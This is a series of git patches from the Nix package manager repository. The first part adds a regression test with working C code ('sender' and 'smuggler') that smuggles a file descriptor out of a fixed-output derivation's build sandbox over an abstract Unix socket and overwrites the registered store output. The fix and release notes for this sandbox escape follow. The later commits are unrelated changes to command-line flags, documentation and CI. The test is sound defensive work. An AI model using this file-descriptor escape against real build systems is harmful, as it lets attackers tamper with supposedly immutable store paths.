pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c); + + # The abstract socket path used to exfiltrate the file descriptor + socketName = "FODSandboxExfiltrationSocket"; +in +{ + name = "ca-fd-leak"; + + nodes.machine = + { config, lib, pkgs, ... }: + { virtualisation.writableStore = true; + nix.settings.substituters = lib.mkForce [ ]; + virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ]; + }; + + testScript = { nodes }: '' + start_all() + + machine.succeed("echo hello") + # Start the smuggler server + machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &") + + # Build the smuggled derivation. + # This will connect to the smuggler server and send it the file descriptor + machine.succeed(r""" + nix-build -E ' + builtins.derivation { + name = "smuggled"; + system = builtins.currentSystem; + # look ma, no tricks! + outputHashMode = "flat"; + outputHashAlgo = "sha256"; + outputHash = builtins.hashString "sha256" "hello, world\n"; + builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; + args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ]; + }' + """.strip()) + + + # Tell the smuggler server that we're done + machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}") + + # Check that the file was modified + machine.succeed(r""" + cat ./result + test "$(cat ./result)" = "hello, world" + """.strip()) + ''; + +} diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c new file mode 100644 index 000000000..75e54fc8f --- /dev/null +++ b/tests/nixos/ca-fd-leak/sender.c @@ -0,0 +1,65 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +int main(int argc, char **argv) { + + assert(argc == 2); + + int sock = socket(AF_UNIX, SOCK_STREAM, 0); + + // Set up a abstract domain socket path to connect to. + struct sockaddr_un data; + data.sun_family = AF_UNIX; + data.sun_path[0] = 0; + strcpy(data.sun_path + 1, argv[1]); + + // Now try to connect, To ensure we work no matter what order we are + // executed in, just busyloop here. + int res = -1; + while (res < 0) { + res = connect(sock, (const struct sockaddr *)&data, + offsetof(struct sockaddr_un, sun_path) + + strlen(argv[1]) + + 1); + if (res < 0 && errno != ECONNREFUSED) perror("connect"); + if (errno != ECONNREFUSED) break; + } + + // Write our message header. + struct msghdr msg = {0}; + msg.msg_control = malloc(128); + msg.msg_controllen = 128; + + // Write an SCM_RIGHTS message containing the output path. + struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); + hdr->cmsg_len = CMSG_LEN(sizeof(int)); + hdr->cmsg_level = SOL_SOCKET; + hdr->cmsg_type = SCM_RIGHTS; + int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640); + memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int)); + + msg.msg_controllen = CMSG_SPACE(sizeof(int)); + + // Write a single null byte too. + msg.msg_iov = malloc(sizeof(struct iovec)); + msg.msg_iov[0].iov_base = ""; + msg.msg_iov[0].iov_len = 1; + msg.msg_iovlen = 1; + + // Send it to the othher side of this connection. + res = sendmsg(sock, &msg, 0); + if (res < 0) perror("sendmsg"); + int buf; + + // Wait for the server to close the socket, implying that it has + // received the commmand. + recv(sock, (void *)&buf, sizeof(int), 0); +} diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c new file mode 100644 index 000000000..82acf37e6 --- /dev/null +++ b/tests/nixos/ca-fd-leak/smuggler.c @@ -0,0 +1,66 @@ +#include +#include +#include +#include +#include +#include +#include + +int main(int argc, char **argv) { + + assert(argc == 2); + + int sock = socket(AF_UNIX, SOCK_STREAM, 0); + + // Bind to the socket. + struct sockaddr_un data; + data.sun_family = AF_UNIX; + data.sun_path[0] = 0; + strcpy(data.sun_path + 1, argv[1]); + int res = bind(sock, (const struct sockaddr *)&data, + offsetof(struct sockaddr_un, sun_path) + + strlen(argv[1]) + + 1); + if (res < 0) perror("bind"); + + res = listen(sock, 1); + if (res < 0) perror("listen"); + + int smuggling_fd = -1; + + // Accept the connection a first time to receive the file descriptor. + fprintf(stderr, "%s\n", "Waiting for the first connection"); + int a = accept(sock, 0, 0); + if (a < 0) perror("accept"); + + struct msghdr msg = {0}; + msg.msg_control = malloc(128); + msg.msg_controllen = 128; + + // Receive the file descriptor as sent by the smuggler. + recvmsg(a, &msg, 0); + + struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); + while (hdr) { + if (hdr->cmsg_level == SOL_SOCKET + && hdr->cmsg_type == SCM_RIGHTS) { + + // Grab the copy of the file descriptor. + memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int)); + } + + hdr = CMSG_NXTHDR(&msg, hdr); + } + fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection"); + close(a); + + // Wait for a second connection, which will tell us that the build is + // done + a = accept(sock, 0, 0); + fprintf(stderr, "%s\n", "Got a second connection, rewriting the file"); + // Write a new content to the file + if (ftruncate(smuggling_fd, 0)) perror("ftruncate"); + char * new_content = "Pwned\n"; + int written_bytes = write(smuggling_fd, new_content, strlen(new_content)); + if (written_bytes != strlen(new_content)) perror("write"); +} diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix index 8f4fa2621..98de31e13 100644 --- a/tests/nixos/default.nix +++ b/tests/nixos/default.nix @@ -109,7 +109,7 @@ in nix.package = lib.mkForce pkgs.nixVersions.nix_2_13; }; }; - + # TODO: (nixpkgs update) remoteBuildsSshNg_remote_2_18 = ... # Test our Nix as a builder for clients that are older @@ -156,4 +156,6 @@ in (system: runNixOSTestFor system ./setuid.nix); fetch-git = runNixOSTestFor "x86_64-linux" ./fetch-git; + + ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak; } From c3878f510ec12ca6bf24505989e7463249dab61a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Tue, 13 Feb 2024 08:28:02 +0100 Subject: [PATCH 07/90] Copy the output of fixed-output derivations before registering them It is possible to exfiltrate a file descriptor out of the build sandbox of FODs, and use it to modify the store path after it has been registered. To avoid that issue, don't register the output of the build, but a copy of it (that will be free of any leaked file descriptor). --- src/libstore/build/local-derivation-goal.cc | 6 ++++++ src/libutil/file-system.cc | 5 +++++ src/libutil/file-system.hh | 7 +++++++ 3 files changed, 18 insertions(+) diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc index a9b8de123..d2e2f523e 100644 --- a/src/libstore/build/local-derivation-goal.cc +++ b/src/libstore/build/local-derivation-goal.cc @@ -2543,6 +2543,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() [&](const DerivationOutput::CAFixed & dof) { auto & wanted = dof.ca.hash; + // Replace the output by a fresh copy of itself to make sure + // that there's no stale file descriptor pointing to it + Path tmpOutput = actualPath + ".tmp"; + renameFile(actualPath, tmpOutput); + copyFile(tmpOutput, actualPath, true); + auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating { .method = dof.ca.method, .hashAlgo = wanted.algo, diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index b0a3f0797..9dd6a5133 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -617,6 +617,11 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete) } } +void copyFile(const Path & oldPath, const Path & newPath, bool andDelete) +{ + return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete); +} + void renameFile(const Path & oldName, const Path & newName) { fs::rename(oldName, newName); diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh index 464efc242..963265e34 100644 --- a/src/libutil/file-system.hh +++ b/src/libutil/file-system.hh @@ -186,6 +186,13 @@ void renameFile(const Path & src, const Path & dst); */ void moveFile(const Path & src, const Path & dst); +/** + * Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is + * `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but + * with the guaranty that the destination will be “fresh”, with no stale inode + * or file descriptor pointing to it). + */ +void copyFile(const Path & oldPath, const Path & newPath, bool andDelete); /** * Automatic cleanup of resources. From 65b79c52c66643a04bd9eb69b92d7e5c5587ca64 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= <7226587+thufschmitt@users.noreply.github.com> Date: Wed, 21 Feb 2024 17:32:36 +0100 Subject: [PATCH 08/90] Fix a typo in a test comment Co-authored-by: Valentin Gagarin --- tests/nixos/ca-fd-leak/default.nix | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix index 40e57ea02..a6ae72adc 100644 --- a/tests/nixos/ca-fd-leak/default.nix +++ b/tests/nixos/ca-fd-leak/default.nix @@ -80,7 +80,7 @@ in # Tell the smuggler server that we're done machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}") - # Check that the file was modified + # Check that the file was not modified machine.succeed(r""" cat ./result test "$(cat ./result)" = "hello, world" From cd9baa18093cf863a852334721ea972bcd0c5902 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Fri, 1 Mar 2024 09:31:05 +0100 Subject: [PATCH 09/90] Add release notes --- doc/manual/rl-next/fod-sandbox-escape.md | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100644 doc/manual/rl-next/fod-sandbox-escape.md diff --git a/doc/manual/rl-next/fod-sandbox-escape.md b/doc/manual/rl-next/fod-sandbox-escape.md new file mode 100644 index 000000000..ed451711e --- /dev/null +++ b/doc/manual/rl-next/fod-sandbox-escape.md @@ -0,0 +1,14 @@ +--- +synopsis: Fix a FOD sandbox escape +issues: +prs: +--- + +Cooperating Nix derivations could send file descriptors to files in the Nix +store to each other via Unix domain sockets in the abstract namespace. This +allowed one derivation to modify the output of the other derivation, after Nix +has registered the path as "valid" and immutable in the Nix database. +In particular, this allowed the output of fixed-output derivations to be +modified from their expected content. + +This isn't the case any more. From d72ee91d07a286b18862235792326297199a0d75 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 1 Mar 2024 14:14:14 +0100 Subject: [PATCH 10/90] Clean up --arg processing --- src/libcmd/common-eval-args.cc | 20 ++++++++++++-------- src/libcmd/common-eval-args.hh | 7 ++++++- 2 files changed, 18 insertions(+), 9 deletions(-) diff --git a/src/libcmd/common-eval-args.cc b/src/libcmd/common-eval-args.cc index 444ff81c9..ed2c126a4 100644 --- a/src/libcmd/common-eval-args.cc +++ b/src/libcmd/common-eval-args.cc @@ -20,7 +20,7 @@ MixEvalArgs::MixEvalArgs() .description = "Pass the value *expr* as the argument *name* to Nix functions.", .category = category, .labels = {"name", "expr"}, - .handler = {[&](std::string name, std::string expr) { autoArgs[name] = 'E' + expr; }} + .handler = {[&](std::string name, std::string expr) { autoArgs.insert_or_assign(name, AutoArg{AutoArgExpr(expr)}); }} }); addFlag({ @@ -28,7 +28,7 @@ MixEvalArgs::MixEvalArgs() .description = "Pass the string *string* as the argument *name* to Nix functions.", .category = category, .labels = {"name", "string"}, - .handler = {[&](std::string name, std::string s) { autoArgs[name] = 'S' + s; }}, + .handler = {[&](std::string name, std::string s) { autoArgs.insert_or_assign(name, AutoArg{AutoArgString(s)}); }}, }); addFlag({ @@ -154,13 +154,17 @@ MixEvalArgs::MixEvalArgs() Bindings * MixEvalArgs::getAutoArgs(EvalState & state) { auto res = state.buildBindings(autoArgs.size()); - for (auto & i : autoArgs) { + for (auto & [name, arg] : autoArgs) { auto v = state.allocValue(); - if (i.second[0] == 'E') - state.mkThunk_(*v, state.parseExprFromString(i.second.substr(1), state.rootPath("."))); - else - v->mkString(((std::string_view) i.second).substr(1)); - res.insert(state.symbols.create(i.first), v); + std::visit(overloaded { + [&](const AutoArgExpr & arg) { + state.mkThunk_(*v, state.parseExprFromString(arg.expr, state.rootPath("."))); + }, + [&](const AutoArgString & arg) { + v->mkString(arg.s); + } + }, arg); + res.insert(state.symbols.create(name), v); } return res.finish(); } diff --git a/src/libcmd/common-eval-args.hh b/src/libcmd/common-eval-args.hh index 2eb63e15d..2e2f18385 100644 --- a/src/libcmd/common-eval-args.hh +++ b/src/libcmd/common-eval-args.hh @@ -26,7 +26,12 @@ struct MixEvalArgs : virtual Args, virtual MixRepair std::optional evalStoreUrl; private: - std::map autoArgs; + struct AutoArgExpr { std::string expr; }; + struct AutoArgString { std::string s; }; + + using AutoArg = std::variant; + + std::map autoArgs; }; SourcePath lookupFileArg(EvalState & state, std::string_view s, const Path * baseDir = nullptr); From 291b10c607e3f9d19acee692ac2488056e53eeee Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 1 Mar 2024 14:35:27 +0100 Subject: [PATCH 11/90] Add --arg-from-file for reading a string from a file --- src/libcmd/common-eval-args.cc | 12 ++++++++++++ src/libcmd/common-eval-args.hh | 3 ++- tests/functional/eval.sh | 8 ++++++++ 3 files changed, 22 insertions(+), 1 deletion(-) diff --git a/src/libcmd/common-eval-args.cc b/src/libcmd/common-eval-args.cc index ed2c126a4..89df67406 100644 --- a/src/libcmd/common-eval-args.cc +++ b/src/libcmd/common-eval-args.cc @@ -31,6 +31,15 @@ MixEvalArgs::MixEvalArgs() .handler = {[&](std::string name, std::string s) { autoArgs.insert_or_assign(name, AutoArg{AutoArgString(s)}); }}, }); + addFlag({ + .longName = "arg-from-file", + .description = "Pass the contents of file *path* as the argument *name* to Nix functions.", + .category = category, + .labels = {"name", "path"}, + .handler = {[&](std::string name, std::string path) { autoArgs.insert_or_assign(name, AutoArg{AutoArgFile(path)}); }}, + .completer = completePath + }); + addFlag({ .longName = "include", .shortName = 'I', @@ -162,6 +171,9 @@ Bindings * MixEvalArgs::getAutoArgs(EvalState & state) }, [&](const AutoArgString & arg) { v->mkString(arg.s); + }, + [&](const AutoArgFile & arg) { + v->mkString(readFile(arg.path)); } }, arg); res.insert(state.symbols.create(name), v); diff --git a/src/libcmd/common-eval-args.hh b/src/libcmd/common-eval-args.hh index 2e2f18385..9f4da4231 100644 --- a/src/libcmd/common-eval-args.hh +++ b/src/libcmd/common-eval-args.hh @@ -28,8 +28,9 @@ struct MixEvalArgs : virtual Args, virtual MixRepair private: struct AutoArgExpr { std::string expr; }; struct AutoArgString { std::string s; }; + struct AutoArgFile { std::filesystem::path path; }; - using AutoArg = std::variant; + using AutoArg = std::variant; std::map autoArgs; }; diff --git a/tests/functional/eval.sh b/tests/functional/eval.sh index b81bb1e2c..321593670 100644 --- a/tests/functional/eval.sh +++ b/tests/functional/eval.sh @@ -41,3 +41,11 @@ mkdir -p $TEST_ROOT/xyzzy $TEST_ROOT/foo ln -sfn ../xyzzy $TEST_ROOT/foo/bar printf 123 > $TEST_ROOT/xyzzy/default.nix [[ $(nix eval --impure --expr "import $TEST_ROOT/foo/bar") = 123 ]] + +# Test --arg-from-file. +[[ "$(nix eval --raw --arg-from-file foo config.nix --expr '{ foo }: { inherit foo; }' foo)" = "$(cat config.nix)" ]] + +# Check that special(-ish) files are drained. +if [[ -e /proc/version ]]; then + [[ "$(nix eval --raw --arg-from-file foo /proc/version --expr '{ foo }: { inherit foo; }' foo)" = "$(cat /proc/version)" ]] +fi From 8ce1f6800b9eef394d2cb9dffdf99e7a6ffec64a Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 1 Mar 2024 14:39:42 +0100 Subject: [PATCH 12/90] Add --arg-from-stdin to read an argument from stdin --- src/libcmd/common-eval-args.cc | 11 +++++++++++ src/libcmd/common-eval-args.hh | 3 ++- tests/functional/eval.sh | 3 +++ 3 files changed, 16 insertions(+), 1 deletion(-) diff --git a/src/libcmd/common-eval-args.cc b/src/libcmd/common-eval-args.cc index 89df67406..b87bbbc27 100644 --- a/src/libcmd/common-eval-args.cc +++ b/src/libcmd/common-eval-args.cc @@ -40,6 +40,14 @@ MixEvalArgs::MixEvalArgs() .completer = completePath }); + addFlag({ + .longName = "arg-from-stdin", + .description = "Pass the contents of stdin as the argument *name* to Nix functions.", + .category = category, + .labels = {"name"}, + .handler = {[&](std::string name) { autoArgs.insert_or_assign(name, AutoArg{AutoArgStdin{}}); }}, + }); + addFlag({ .longName = "include", .shortName = 'I', @@ -174,6 +182,9 @@ Bindings * MixEvalArgs::getAutoArgs(EvalState & state) }, [&](const AutoArgFile & arg) { v->mkString(readFile(arg.path)); + }, + [&](const AutoArgStdin & arg) { + v->mkString(readFile(STDIN_FILENO)); } }, arg); res.insert(state.symbols.create(name), v); diff --git a/src/libcmd/common-eval-args.hh b/src/libcmd/common-eval-args.hh index 9f4da4231..7548bd3b7 100644 --- a/src/libcmd/common-eval-args.hh +++ b/src/libcmd/common-eval-args.hh @@ -29,8 +29,9 @@ private: struct AutoArgExpr { std::string expr; }; struct AutoArgString { std::string s; }; struct AutoArgFile { std::filesystem::path path; }; + struct AutoArgStdin { }; - using AutoArg = std::variant; + using AutoArg = std::variant; std::map autoArgs; }; diff --git a/tests/functional/eval.sh b/tests/functional/eval.sh index 321593670..c6a475cd0 100644 --- a/tests/functional/eval.sh +++ b/tests/functional/eval.sh @@ -49,3 +49,6 @@ printf 123 > $TEST_ROOT/xyzzy/default.nix if [[ -e /proc/version ]]; then [[ "$(nix eval --raw --arg-from-file foo /proc/version --expr '{ foo }: { inherit foo; }' foo)" = "$(cat /proc/version)" ]] fi + +# Test --arg-from-stdin. +[[ "$(echo bla | nix eval --raw --arg-from-stdin foo --expr '{ foo }: { inherit foo; }' foo)" = bla ]] From 1bc89b588b04b31d14398da015c0aa6693942a67 Mon Sep 17 00:00:00 2001 From: med8bra Date: Thu, 29 Feb 2024 13:27:48 +0100 Subject: [PATCH 13/90] doc(xp-feature): add issue url in experimental feature details --- src/libutil/experimental-features.cc | 30 +++++++++++++++++++++++++--- 1 file changed, 27 insertions(+), 3 deletions(-) diff --git a/src/libutil/experimental-features.cc b/src/libutil/experimental-features.cc index 9b46fc5b0..374e674af 100644 --- a/src/libutil/experimental-features.cc +++ b/src/libutil/experimental-features.cc @@ -1,4 +1,5 @@ #include "experimental-features.hh" +#include "fmt.hh" #include "util.hh" #include "nlohmann/json.hpp" @@ -10,6 +11,7 @@ struct ExperimentalFeatureDetails ExperimentalFeature tag; std::string_view name; std::string_view description; + std::string_view trackingUrl; }; /** @@ -35,6 +37,7 @@ constexpr std::array xpFeatureDetails [__contentAddressed](@docroot@/language/advanced-attributes.md#adv-attr-__contentAddressed) for details. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/35", }, { .tag = Xp::ImpureDerivations, @@ -65,6 +68,7 @@ constexpr std::array xpFeatureDetails This is a more explicit alternative to using [`builtins.currentTime`](@docroot@/language/builtin-constants.md#builtins-currentTime). )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/42", }, { .tag = Xp::Flakes, @@ -73,6 +77,7 @@ constexpr std::array xpFeatureDetails Enable flakes. See the manual entry for [`nix flake`](@docroot@/command-ref/new-cli/nix3-flake.md) for details. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/27", }, { .tag = Xp::FetchTree, @@ -86,6 +91,7 @@ constexpr std::array xpFeatureDetails Enabling just this feature serves as a "release candidate", allowing users to try it out in isolation. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/31", }, { .tag = Xp::NixCommand, @@ -94,6 +100,7 @@ constexpr std::array xpFeatureDetails Enable the new `nix` subcommands. See the manual on [`nix`](@docroot@/command-ref/new-cli/nix.md) for details. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/28", }, { .tag = Xp::GitHashing, @@ -102,6 +109,7 @@ constexpr std::array xpFeatureDetails Allow creating (content-addressed) store objects which are hashed via Git's hashing algorithm. These store objects will not be understandable by older versions of Nix. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/41", }, { .tag = Xp::RecursiveNix, @@ -143,6 +151,7 @@ constexpr std::array xpFeatureDetails already in the build inputs or built by a previous recursive Nix call. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/47", }, { .tag = Xp::NoUrlLiterals, @@ -184,6 +193,7 @@ constexpr std::array xpFeatureDetails containing parameters have to be quoted anyway, and unquoted URLs may confuse external tooling. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/44", }, { .tag = Xp::FetchClosure, @@ -191,6 +201,7 @@ constexpr std::array xpFeatureDetails .description = R"( Enable the use of the [`fetchClosure`](@docroot@/language/builtins.md#builtins-fetchClosure) built-in function in the Nix language. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/40", }, { .tag = Xp::ReplFlake, @@ -200,6 +211,7 @@ constexpr std::array xpFeatureDetails Allow passing [installables](@docroot@/command-ref/new-cli/nix.md#installables) to `nix repl`, making its interface consistent with the other experimental commands. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/32", }, { .tag = Xp::AutoAllocateUids, @@ -208,6 +220,7 @@ constexpr std::array xpFeatureDetails Allows Nix to automatically pick UIDs for builds, rather than creating `nixbld*` user accounts. See the [`auto-allocate-uids`](@docroot@/command-ref/conf-file.md#conf-auto-allocate-uids) setting for details. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/34", }, { .tag = Xp::Cgroups, @@ -216,6 +229,7 @@ constexpr std::array xpFeatureDetails Allows Nix to execute builds inside cgroups. See the [`use-cgroups`](@docroot@/command-ref/conf-file.md#conf-use-cgroups) setting for details. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/36", }, { .tag = Xp::DaemonTrustOverride, @@ -226,6 +240,7 @@ constexpr std::array xpFeatureDetails useful for various experiments with `nix-daemon --stdio` networking. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/38", }, { .tag = Xp::DynamicDerivations, @@ -239,6 +254,7 @@ constexpr std::array xpFeatureDetails - dependencies in derivations on the outputs of derivations that are themselves derivations outputs. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/39", }, { .tag = Xp::ParseTomlTimestamps, @@ -246,6 +262,7 @@ constexpr std::array xpFeatureDetails .description = R"( Allow parsing of timestamps in builtins.fromTOML. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/45", }, { .tag = Xp::ReadOnlyLocalStore, @@ -253,6 +270,7 @@ constexpr std::array xpFeatureDetails .description = R"( Allow the use of the `read-only` parameter in [local store](@docroot@/store/types/local-store.md) URIs. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/46", }, { .tag = Xp::ConfigurableImpureEnv, @@ -260,6 +278,7 @@ constexpr std::array xpFeatureDetails .description = R"( Allow the use of the [impure-env](@docroot@/command-ref/conf-file.md#conf-impure-env) setting. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/37", }, { .tag = Xp::MountedSSHStore, @@ -267,6 +286,7 @@ constexpr std::array xpFeatureDetails .description = R"( Allow the use of the [`mounted SSH store`](@docroot@/command-ref/new-cli/nix3-help-stores.html#experimental-ssh-store-with-filesytem-mounted). )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/43", }, { .tag = Xp::VerifiedFetches, @@ -274,6 +294,7 @@ constexpr std::array xpFeatureDetails .description = R"( Enables verification of git commit signatures through the [`fetchGit`](@docroot@/language/builtins.md#builtins-fetchGit) built-in. )", + .trackingUrl = "https://github.com/NixOS/nix/milestone/48", }, }}; @@ -312,9 +333,12 @@ std::string_view showExperimentalFeature(const ExperimentalFeature tag) nlohmann::json documentExperimentalFeatures() { StringMap res; - for (auto & xpFeature : xpFeatureDetails) - res[std::string { xpFeature.name }] = - trim(stripIndentation(xpFeature.description)); + for (auto & xpFeature : xpFeatureDetails) { + std::stringstream docOss; + docOss << stripIndentation(xpFeature.description); + docOss << fmt("\nRefer to [%1% tracking issue](%2%) for feature tracking.", xpFeature.name, xpFeature.trackingUrl); + res[std::string{xpFeature.name}] = trim(docOss.str()); + } return (nlohmann::json) res; } From 089d91ed4c298f4757ce61c558cc3b2604435ff0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Sat, 2 Mar 2024 09:00:42 +0100 Subject: [PATCH 14/90] Fix the docker push job After https://github.com/NixOS/nix/pull/10071, the CI was trying to push ghcr.io/nixos/nix:master for backwards-compatibility, but the image was not tagged as such, causing the job to fail. Fix this. --- .github/workflows/ci.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 2aa3a3300..620a84b79 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -157,4 +157,5 @@ jobs: docker push $IMAGE_ID:$NIX_VERSION docker push $IMAGE_ID:latest # deprecated 2024-02-24 + docker tag nix:$NIX_VERSION $IMAGE_ID:master docker push $IMAGE_ID:master From f8dc9bc563c66c852452dd9a22c12c9bec35c309 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Sat, 2 Mar 2024 10:17:55 +0100 Subject: [PATCH 15/90] Remove and gitignore the autoreconf generated files No need to have them checked-in since we require running `autoreconf` when building, and these are regenerated by the `autoreconf` script. --- .gitignore | 1 + config/config.guess | 1700 --------------------------------------- config/config.sub | 1860 ------------------------------------------- 3 files changed, 1 insertion(+), 3560 deletions(-) delete mode 100755 config/config.guess delete mode 100755 config/config.sub diff --git a/.gitignore b/.gitignore index 5c1136823..7bf77adf4 100644 --- a/.gitignore +++ b/.gitignore @@ -10,6 +10,7 @@ perl/Makefile.config /stamp-h1 /svn-revision /libtool +/config/config.* # /doc/manual/ /doc/manual/*.1 diff --git a/config/config.guess b/config/config.guess deleted file mode 100755 index 1972fda8e..000000000 --- a/config/config.guess +++ /dev/null @@ -1,1700 +0,0 @@ -#! /bin/sh -# Attempt to guess a canonical system name. -# Copyright 1992-2021 Free Software Foundation, Inc. - -timestamp='2021-01-25' - -# This file is free software; you can redistribute it and/or modify it -# under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, see . -# -# As a special exception to the GNU General Public License, if you -# distribute this file as part of a program that contains a -# configuration script generated by Autoconf, you may include it under -# the same distribution terms that you use for the rest of that -# program. This Exception is an additional permission under section 7 -# of the GNU General Public License, version 3 ("GPLv3"). -# -# Originally written by Per Bothner; maintained since 2000 by Ben Elliston. -# -# You can get the latest version of this script from: -# https://git.savannah.gnu.org/cgit/config.git/plain/config.guess -# -# Please send patches to . - - -me=$(echo "$0" | sed -e 's,.*/,,') - -usage="\ -Usage: $0 [OPTION] - -Output the configuration name of the system \`$me' is run on. - -Options: - -h, --help print this help, then exit - -t, --time-stamp print date of last modification, then exit - -v, --version print version number, then exit - -Report bugs and patches to ." - -version="\ -GNU config.guess ($timestamp) - -Originally written by Per Bothner. -Copyright 1992-2021 Free Software Foundation, Inc. - -This is free software; see the source for copying conditions. There is NO -warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." - -help=" -Try \`$me --help' for more information." - -# Parse command line -while test $# -gt 0 ; do - case $1 in - --time-stamp | --time* | -t ) - echo "$timestamp" ; exit ;; - --version | -v ) - echo "$version" ; exit ;; - --help | --h* | -h ) - echo "$usage"; exit ;; - -- ) # Stop option processing - shift; break ;; - - ) # Use stdin as input. - break ;; - -* ) - echo "$me: invalid option $1$help" >&2 - exit 1 ;; - * ) - break ;; - esac -done - -if test $# != 0; then - echo "$me: too many arguments$help" >&2 - exit 1 -fi - -# CC_FOR_BUILD -- compiler used by this script. Note that the use of a -# compiler to aid in system detection is discouraged as it requires -# temporary files to be created and, as you can see below, it is a -# headache to deal with in a portable fashion. - -# Historically, `CC_FOR_BUILD' used to be named `HOST_CC'. We still -# use `HOST_CC' if defined, but it is deprecated. - -# Portable tmp directory creation inspired by the Autoconf team. - -tmp= -# shellcheck disable=SC2172 -trap 'test -z "$tmp" || rm -fr "$tmp"' 0 1 2 13 15 - -set_cc_for_build() { - # prevent multiple calls if $tmp is already set - test "$tmp" && return 0 - : "${TMPDIR=/tmp}" - # shellcheck disable=SC2039 - { tmp=$( (umask 077 && mktemp -d "$TMPDIR/cgXXXXXX") 2>/dev/null) && test -n "$tmp" && test -d "$tmp" ; } || - { test -n "$RANDOM" && tmp=$TMPDIR/cg$$-$RANDOM && (umask 077 && mkdir "$tmp" 2>/dev/null) ; } || - { tmp=$TMPDIR/cg-$$ && (umask 077 && mkdir "$tmp" 2>/dev/null) && echo "Warning: creating insecure temp directory" >&2 ; } || - { echo "$me: cannot create a temporary directory in $TMPDIR" >&2 ; exit 1 ; } - dummy=$tmp/dummy - case ${CC_FOR_BUILD-},${HOST_CC-},${CC-} in - ,,) echo "int x;" > "$dummy.c" - for driver in cc gcc c89 c99 ; do - if ($driver -c -o "$dummy.o" "$dummy.c") >/dev/null 2>&1 ; then - CC_FOR_BUILD="$driver" - break - fi - done - if test x"$CC_FOR_BUILD" = x ; then - CC_FOR_BUILD=no_compiler_found - fi - ;; - ,,*) CC_FOR_BUILD=$CC ;; - ,*,*) CC_FOR_BUILD=$HOST_CC ;; - esac -} - -# This is needed to find uname on a Pyramid OSx when run in the BSD universe. -# (ghazi@noc.rutgers.edu 1994-08-24) -if test -f /.attbin/uname ; then - PATH=$PATH:/.attbin ; export PATH -fi - -UNAME_MACHINE=$( (uname -m) 2>/dev/null) || UNAME_MACHINE=unknown -UNAME_RELEASE=$( (uname -r) 2>/dev/null) || UNAME_RELEASE=unknown -UNAME_SYSTEM=$( (uname -s) 2>/dev/null) || UNAME_SYSTEM=unknown -UNAME_VERSION=$( (uname -v) 2>/dev/null) || UNAME_VERSION=unknown - -case "$UNAME_SYSTEM" in 